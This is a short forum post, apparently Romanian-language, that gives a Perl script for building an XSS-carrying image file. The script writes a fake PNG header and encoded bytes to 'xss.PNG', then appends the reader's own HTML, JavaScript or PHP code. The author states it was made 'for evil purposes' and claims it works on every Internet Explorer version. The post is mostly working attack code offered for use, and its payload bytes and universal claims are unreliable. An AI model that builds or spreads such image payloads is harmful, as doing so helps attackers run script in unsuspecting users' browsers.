[PERL] xss in imagini

[paxnWo]

#made by HybriD for evil purposes
#works on all internet explorers and all windows service packs

my $payload =
"\x50\x4e\x47\x0d\x0a\x5c\x78\x4f\x41\x1a\x5c\x78\x4f\x41\x26\x23".
"\x36\x35\x35\x33\x33\x3b\x26\x23\x36\x35\x35\x33\x33\x3b\x26\x23".
"\x36\x35\x35\x33\x33\x3b\x5c\x78\x4f\x44\x50\x48\x43\x4b\x26\x23".
"\x36\x35\x61\x33\x33\x3b\x26".
"\x23\x36\x35\x35\x33\x33\x3b\x26\x23\x36\x35\x35\x33\x33\x3b\x01".
"\x26\x23\x36\x35\x35\x33\x33\x3b\x26\x23\x36\x35\x35\x33\x33\x3b".
"\x26\x23\x36\x35\x35\x33\x33\x3b\x01";

my $code = "code here";

open(file,'>>xss.PNG');
print file $payload;
print file $code;
close(file);

dati replace la code here cu codul vostru html/javscript/perl/php.

apoi

perl filenamehere.pl